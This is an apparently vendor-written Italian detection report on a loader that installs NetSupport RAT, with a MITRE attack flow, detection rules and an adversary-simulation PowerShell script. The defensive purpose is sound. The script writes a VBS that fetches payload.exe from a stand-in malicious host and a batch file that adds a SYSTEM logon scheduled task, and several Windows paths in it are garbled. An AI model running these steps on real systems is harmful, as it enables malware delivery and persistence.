NetSupport RAT Distribuito da un Loader Non Identificato
Detection stack
- AIDR
- Alert
- ETL
- Query
Sintesi
È stato osservato uno strumento di accesso remoto precedentemente non identificato distribuire un pacchetto NetSupport Manager RAT malevolo. Il malware iniziale comunicava con un server di comando e controllo a 89.110.110.119 tramite la porta TCP 443 utilizzando traffico codificato. La campagna, tracciata come SmartApeSG ClickFix, si basava su script malevoli e un archivio CAB per installare il NetSupport RAT su sistemi vittima.
Indagine
L’indagine ha scoperto diversi indicatori, inclusi URL malevoli, indirizzi IP e file scritti nella directory ProgramData . Il RAT iniziale ha consegnato uno script batch che ha estratto e installato il NetSupport RAT da un archivio setup.cab . Una volta completata l’installazione, i file di supporto sono stati rimossi per ridurre le tracce visibili dell’attività.
Mitigazione
Le organizzazioni dovrebbero bloccare il traffico di rete verso gli indirizzi IP e i domini malevoli identificati e monitorare la creazione dei file di riferimento sotto ProgramData. Le difese degli endpoint dovrebbero rilevare l’esecuzione di script VBScript e file batch sospetti, mentre il monitoraggio di rete dovrebbe applicare controlli più restrittivi al traffico codificato sulla porta 443.
Risposta
I difensori dovrebbero avvisare sugli indicatori elencati, isolare i sistemi compromessi e condurre analisi forense per scoprire eventuali meccanismi di persistenza. I file malevoli dovrebbero essere rimossi, eventuali modifiche non autorizzate dovrebbero essere invertite e le politiche di firewall dovrebbero essere aggiornate per bloccare la comunicazione in uscita con l’infrastruttura di comando e controllo identificata.
graph TB %% Definizione classe classDef action fill:#c2f0c2 node_a[“<b>Azione</b> – <b>T1204.001 Esecuzione utente: link malevolo</b><br/><b>Descrizione</b>: La vittima carica JavaScript malevolo da una pagina compromessa.”] class node_a action node_b[“<b>Azione</b> – <b>T1027.006 File offuscati: HTML Smuggling</b><br/><b>Descrizione</b>: Consegna di contenuto codificato tramite tecnica HTML smuggling.”] class node_b action node_c[“<b>Azione</b> – <b>T1059.005 Interprete di comandi e script: Visual Basic</b><br/><b>Descrizione</b>: processor.vbs rilascia token.bat sul sistema.”] class node_c action node_d[“<b>Azione</b> – Esecuzione di script Batch<br/><b>Risultato</b>: Estrae NetSupport RAT sull’host.”] class node_d action node_e[“<b>Azione</b> – <b>T1547.014 Active Setup</b> & <b>T1546.007 Netsh Helper DLL</b><br/><b>Descrizione</b>: Il RAT viene posizionato in C:\\ProgramData\\UpdateInstaller per la persistenza.”] class node_e action node_f[“<b>Azione</b> – <b>T1574.007 Intercettazione del percorso</b> & <b>T1574.005 Permessi deboli dell’installer</b><br/><b>Descrizione</b>: Escalation dei privilegi tramite PATH manipolato e permessi deboli.”] class node_f action node_g[“<b>Azione</b> – <b>T1564 Offuscamento artefatti</b> & <b>T1564.010 Spoofing argomenti processo</b><br/><b>Descrizione</b>: Eliminazione file di staging e falsificazione degli argomenti di processo.”] class node_g action node_h[“<b>Azione</b> – <b>T1571 Porta non standard</b> & <b>T1071.001 Protocolli web</b><br/><b>Descrizione</b>: Comunicazioni C2 su TCP 443 tramite protocolli web cifrati.”] class node_h action %% Connessioni node_a –> node_b –> node_c –> node_d –> node_e –> node_f –> node_g –> node_h
Flusso di Attacco
Rilevamenti
LOLBAS WScript / CScript (via process_creation)
Visualizza
Possibile Esecuzione di Binary NetSupport Manager da Directory Sospetta Tentativo (via process_creation)
Visualizza
Command and Control Sospetto tramite Richiesta DNS di Dominio di Primo Livello (TLD) Insolito (via dns)
Visualizza
IOC (HashSha256) per rilevare: RAT non identificato spinge NetSupport RAT
Visualizza
IOC (SourceIP) per rilevare: RAT non identificato spinge NetSupport RAT
Visualizza
IOC (DestinationIP) per rilevare: RAT non identificato spinge NetSupport RAT
Visualizza
Rilevamento di Infezione NetSupport RAT tramite Script e File CAB [Evento File Windows]
Visualizza
Rilevamento delle Comunicazioni C2 Iniziali e NetSupport RAT [Connessione di Rete Windows]
Visualizza
Esecuzione di Simulazione
Prerequisito: Il Controllo di Telemetria & Baseline Pre‑flight deve essere superato.
Ragionamento: Questa sezione dettaglia l’esecuzione precisa della tecnica dell’avversario (TTP) progettata per attivare la regola di rilevamento. I comandi e la narrazione DEVONO riflettere direttamente i TTP identificati e mirare a generare la telemetria esatta prevista dalla logica di rilevamento.
-
Narrativa & Comandi dell’Attacco:
Un attaccante che ha acquisito un’iniziale controllo in un host Windows lascia cadere tre artefatti malevoli inC:ProgramData:processor.vbs– uno script Visual Basic che scarica il binario principale RAT.token.bat– un file batch che crea un’attività programmata per la persistenza.setup.cab– un archivio CAB che contiene una DLL lasciata cadere inC:ProgramDatae successivamente caricato tramiterundll32.exe.
. L’attaccante quindi esegue ciascun file a turno, causando eventi di creazione processo che contengono i percorsi dei file esatti richiesti dalla regola Sigma.
-
Script di Test di Regressione:
# netSupport_RAT_simulation.ps1 # ------------------------------------------------- # SCOPO: Riprodurre la telemetria di infezione NetSupport RAT # ------------------------------------------------- $targetDir = "C:ProgramData" # Assicurarsi che la directory esista if (-Not (Test-Path $targetDir)) { New-Item -ItemType Directory -Path $targetDir -Force } # 1. Lascia cadere processor.vbs $vbsPath = Join-Path $targetDir "processor.vbs" Set-Content -Path $vbsPath -Value @" Set objXML = CreateObject("MSXML2.XMLHTTP") objXML.open "GET","http://malicious.example.com/payload.exe",False objXML.send "@" # 2. Lascia cadere token.bat $batPath = Join-Path $targetDir "token.bat" Set-Content -Path $batPath -Value @" schtasks /create /tn "NetSupportPersist" /tr "$targetDirsetup.cab" /sc onlogon /ru System "@ # 3. Lascia cadere setup.cab (CAB falso contenente un file di testo) $cabPath = Join-Path $targetDir "setup.cab" $tempDir = "$env:TEMPcab_temp" New-Item -ItemType Directory -Path $tempDir -Force | Out-Null Set-Content -Path "$tempDirdummy.txt" -Value "segnaposto" # Creare un CAB – richiede makecab (strumento Windows incorporato) & makecab.exe "$tempDirdummy.txt" $cabPath # Fase di esecuzione – attivare i rilevamenti Write-Host "`n[+] Esecuzione di processor.vbs" cscript.exe //B //Nologo $vbsPath Write-Host "[+] Esecuzione di token.bat" cmd.exe /c $batPath Write-Host "[+] Esecuzione di setup.cab via rundll32 (caricamento simulato)" rundll32.exe "$cabPath",DummyEntryPoint # Pulire la cartella temporanea utilizzata per la creazione del CAB Remove-Item -Recurse -Force $tempDir -
Comandi di Pulizia:
# netSupport_RAT_cleanup.ps1 $targetDir = "C:ProgramData" $files = @("processor.vbs","token.bat","setup.cab") foreach ($f in $files) { $fullPath = Join-Path $targetDir $f if (Test-Path $fullPath) { Remove-Item -Force $fullPath } } # Rimuovere l'attività programmata creata da token.bat schtasks /delete /tn "NetSupportPersist" /f Write-Host "Pulizia completata."